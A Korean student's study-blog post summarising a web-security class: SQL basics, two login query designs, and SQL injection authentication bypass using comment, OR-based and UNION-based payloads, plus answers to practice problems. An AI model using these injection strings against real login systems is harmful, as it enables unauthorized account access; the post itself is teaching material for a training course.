3주차 수업 정리

Peroro·2023년 4월 13일
0
post-thumbnail
post-custom-banner

저번주 문제 해설

4번

intercept

마우스 우클릭 -> Do intercept -> Response to this request
인터셉트의 request를 볼 수 있음.

-> 이 것을 두 번함.

<script>location.href='login.php'</script> //이부분을 지워야 함.
<?php
	세션 생성
	세션 정보 저장

	로그인 처리
?> // 이런 경우도 있을 수 있음.

내가 생각했던 것처럼 세션 정보 저장이 일어나서 문제였던 것이었다.

불충분한 인증으로 분류된다.

5번

admin 그냥 로그인으로 푼다. 너무 어렵게 생각했었다.

본 수업

SQL: WAS와 DB가 통신할 때 SQL을 사용함.

DB: 엑셀이 DB 그 자체

  • database: 액셀 파일
  • table: 액셀 시트
    column(열)
    row(행)

SQL문

SELECT [컬럼 이름], [컬럼 이름] from [테이블 이름]

SELECT * from [테이블 이름]

SELECT [컬럼 이름], [컬럼 이름] from [테이블 이름] where 컬럼이름 = 데이터

and(두가지 모두 참)/ or(두가지 하나만 참.)

login에 대해서 알아봐요!

로그인 성공, 로그인 실패

  1. 식별
    • 많은 데이터 중에서 특정한 데이터를 가려내는 것. 식별 정보: ID
  1. 인증
    • 그 사람이 맞는지 확인
    • 인증 정보: 비밀번호,
  1. 식별 & 인증 동시 CASE
$q = select * from member where id = 'id' and pass = 'password'

$result = mysqli->query(q)

if($result){
	로그인 성공
}
else{
	로그인 실패
}
  1. 식별과 인증을 분리하는 CASE.
 $q = select pass from member where id = 'id'

$dp_pass = mysqli->query(q)

if($db_pass == user_pass){
	로그인 성공
}
else{
	로그인 실패
}

두 코드 모드 SQL Injection에 취약함.


SQL Injection

SQL Injection: SQL 질의문을 삽입하는 공격. -> 데이터 추출/변조, 인증 우회 가능.

select * from member where id = '' and pass = ''

// 만약 id에 mario'#를 삽입하게 된다면

select * from member where id = 'mario'#' and pass = ''

SQL에서 #은 주석

#뒤는 주석처리되어서 사라짐.

SQL Injection: 로그인 인증 우회

1. 식별과 인증을 동시에 하는 케이스

select * from member where id = 'id' and pass = 'password'
// 로그인 query문

주석 id : mario'#

select * from member where id = 'mario'# ' and pass = 'password'

or : mario' or '1' = '1

select * from member where id = 'mario' or '1' = '1' and pass = 'password'

-> 마리오 정보만 나옴
-> 왜?
-> or와 and의 연산 우선 순위
-> and가 먼저 실행 됨.
-> and가 거짓 조건이 되어서 id = 'mario'가 성립하게 된다.

or: mario' or '1' = '1'#

select * from member where id = 'mario' or '1' = '1'#' and pass = 'password'

-> 모든 값이 나오게 됨.

2. 식별과 인증을 각각 하는 경우

UNION: 데이터를 연결해서 출력. select 2개 쓸 수 있게 해줌.

select * from member = 'id'
  • admin' union select 'normaltic', 'qqqq', '1111', '2222'#
select * from member = 'admin' union select 'normaltic', 'qqqq', '1111', '2222'#'

  • x' union select 'normaltic', 'qqqq', '1111', '2222'#
select * from member = 'x' union select 'normaltic', 'qqqq', '1111', '2222'#'

-> password에 qqqq라고 쓰면 인증 우회가 가능함.

-> column의 숫자를 알아야 함. union의 경우 select 간의 column의 갯수가 같아야 함.

  • update -> 피해자의 비밀번호가 바뀜. -> update를 허락 안하는 경우도 있음.
  • or과 #은 쓰지 않는게 좋음. 서버마다 query문이 다르고 그 과정에서 생략되어 에러가 나는 경우가 생길 수 있기 때문이다.
  • SQL Injection은 SQL query문이 어떻게 생기는지 생각해봐야 함.

  1. 식별 & 인증을 같이 하는 경우: and, or, #(주석을 사용)
  2. 식별 & 인증이 분리: Union을 사용해 인증 우회를 노림.

문제 해설

1의 경우 nomaltic1' or '1' = '1
- select * from member where id = 'id' and pass = 'password'
2의 경우 nomaltic2'#, 이 문제의 경우 or을 사용하지 못함.

profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글